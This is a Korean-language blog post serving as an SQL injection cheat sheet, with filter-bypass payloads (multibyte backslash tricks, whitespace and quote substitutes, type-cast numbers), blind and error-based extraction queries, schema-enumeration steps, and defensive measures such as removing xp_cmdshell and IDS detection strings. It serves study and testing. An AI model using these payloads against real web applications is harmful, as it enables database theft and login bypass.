CheatSheet :
1. 정의
- 파라미터를 입력받아 동적으로 SQL Query를 만드는 웹 페이지에서 Query를 재구성하여 데이터베이스 정보를 조작하는 해킹 기법
2. 특징
- 데이터베이스를 공격한다.
- 데이버베이스 자체에서 SQL Injection을 방아하는 것이 어렵고 비효율적이기 때문에 데이터베이스에 가해지는 공격은 서버사이드에서 방어해야 한다.
3. 종류
- Blind SQL injection
- Error based SQL Injection
4. 우회기법(SQL Injection Filter Bypass)
가. 백슬래시가 추가되는 경우
[1' or 1=1#] => [\' or 1=1#]
- 멀티바이트를 사용하는 언어셋 환경에서는 백슬래시 앞에 %a1 ~ %fe 의 값이 들어오면 %a1\ 가 한개의 문자처럼 취급되면서 백슬래시를 먹어버린다
[1%a1' or 1=1#] => [1%a1\' or 1=1#] => [1?'or 1=1#]
나. 공백문자를 필터링하는 경우
- 공백문자를 필터링할 경우에는 %09, %0a, %0b, %0c, %0d, %a0, /**/ 를 사용해서 공백문자를 대체
- ()를 사용
select * from table 라는 쿼리와 select(*)from(table) 이라는 쿼리가 동일하다는 점을 사용
다. #, -- 등의 주석이 필터링 되었을 경우
;%00, /* 를 대신 사용할수도 있다
라. 싱글쿼터가 막혀서 문자열을 집어넣을 수 없을때
- 0x, 0b를 사용해서 2진법, 16 진법으로 치환함으로써 대신할 수 있으며
환경에 따라서 x, b 만 사용해도 된다.
select x'61' = 'a'
- 아래처럼 0x, 0b 대신 36 진법을 사용해도 된다.
select conv(10,10,36)='A'
- 가젯에서 추출하는 방법
select substr(monthname(from_unixtime(1)),2,1)='a' // monthname(from_unixtime(1)) = 'January'
마. 숫자를 사용할 수 없는 경우
auto type cast 를 사용해서 우회한다.
false = 0
true = 1
true+true = 2
floor(version()) = 5
5. Blind SQL Injection
SQL Injection 결과에 따라 화면이 달라지거나 리턴결과가 달라지는 경우
가. 콤마가 필터링 된 경우
select substr('asdf' from 1 for 1)='a'
나. substr이 필터링된 경우는
- substring 함수 사용
- like 쿼리의 와일드카드를 사용
select id from member where id like 'a%'
select id from member where id like 'b%'
select id from member where id like 'c%'
한글자씩 추가
select id from member where id like 'ca%'
select id from member where id like 'cb%'
select id from member where id like 'cc%'
다. like가 필터링된 경우
- left와 right 함수를 사용
select right(left('asd',1),1) = 'a'
select right(left('asd',2),1) = 's'
select right(left('asd',3),1) = 'd'
select mid('asd',1,1) = 'a'
select lpad('asd',1,space(1)) = 'a'
select rpad('asd',1,space(1)) = 'a'
select reverse(right(reverse('asd'),1)) = 'a'
select insert(insert('asd',1,0,space(0)),2,222,space(0)) = 'a'
6. Error Based SQL Injection
에러메세지를 기반으로 결과값을 이용하여 정보 추출
MSSQL 환경에서 수월 : 서로 다른 데이터형의 값을 비교하게되면 앞의 값을 뒤의 데이터형과 비교할 수 없다고 에러메세지를 한번에 보여주기 때문
MySQL은 auto type cast를 해주기 때문에 서로 다른 데이터형의 값이와도 문제가 없음
select * from (select name_const(version(),1),name_const(version(),1))a
select * from table where 1=1 and ExtractValue(1,concat(0x01,version()))
select * from table where 1=1 and UpdateXML(1,concat(0x01,version()),1)
select * from table where (@:=1)or@ group by concat(@@version,@:=!@)having@||min(0)
7. SQL Injection 공격절차
가. 공격대상의 DB Name
- 'and db_name() > 1--
. db_name()은 MSSQL에서 DB 이름을 문자열로 반화하는 함수
나. Table Name
- information_schema.tables 라는 시스템 뷰를 이용해 Table명을 알아낸다.
- UNION 구문의 형식은 선행 Table의 column 개수가 동일해야 한다.
다. Column Name
- information_schema.column을 이용하여 table_name, column명을 알아낸다.
8. SQL Injectino 주입 지점
가. 사용자 입력값
나. HTTP Header에 대한 SQL Injectino
- cookie에 대한 SQL Injection
- 리퍼러(referer)를 통한 SQL Injection
※ 리퍼러 : 페이지 요청 직전의 접속 정보를 담고 있기 때문에 마케팅이나 웹 사이트 분석을 위해 많이 활용
9. SQL Injection으로 인해 발생되는 피해
- 로그인 인증우회
- 시스템 명령어 실행
- 개인정보와 같은 DB 자료유출
10. SQL Injection 대책
가. DB단위
- MSSQL에서는 사용하지 않는 Stored Procedure의 삭제를 권한다.
xp_cmdshell
xp_dirtree
xp_regdeletekey
xp_regenumvalues
xp_regread
xp_regwrite
sp_makewebtask
sp_adduser ...등등
나. 소스단위
- 특수문자 필터링, 인자의 길이 체크, and 등의 키워드 치환 또는 제거
다. 네트워크 차원의 침입탐지
- IS_SRVROLEMEMBER , IS_MEMBER('db_owner') , db_name() ,%5Bsysobjects%5D 와 같은 문자열을 웹 Request 문자열에서 탐지 하도록 IDS에 룰셋을 설정한 이후 해당 패턴이 감지 될 시 차단을 수행
※ SQL Injection 공부방법
가. 게시판을 만들어, 글을 작성하고, 수정하고, 삭제하는 기능이 있는 게시판으로 다양한 쿼리를 공부하고 숙련
참고 : http://hackerschool.org/Sub_Html/HS_Posting/?uid=42
http://boho.or.kr/upload/file/EpF199.pdf
'IT Tech > Application' 카테고리의 다른 글
[키관리] 개인정보의 안전성 확보조치 기준 (0) | 2016.05.11 |
---|---|
크롬 확장프로그램으로 웹페이지 점검 환경만들기 (1) | 2015.12.23 |
Active Directory와 LDAP 관계 (0) | 2015.11.09 |
FTP 명령어 (0) | 2015.11.09 |
디폴트 아이디/패스워드 (0) | 2015.11.03 |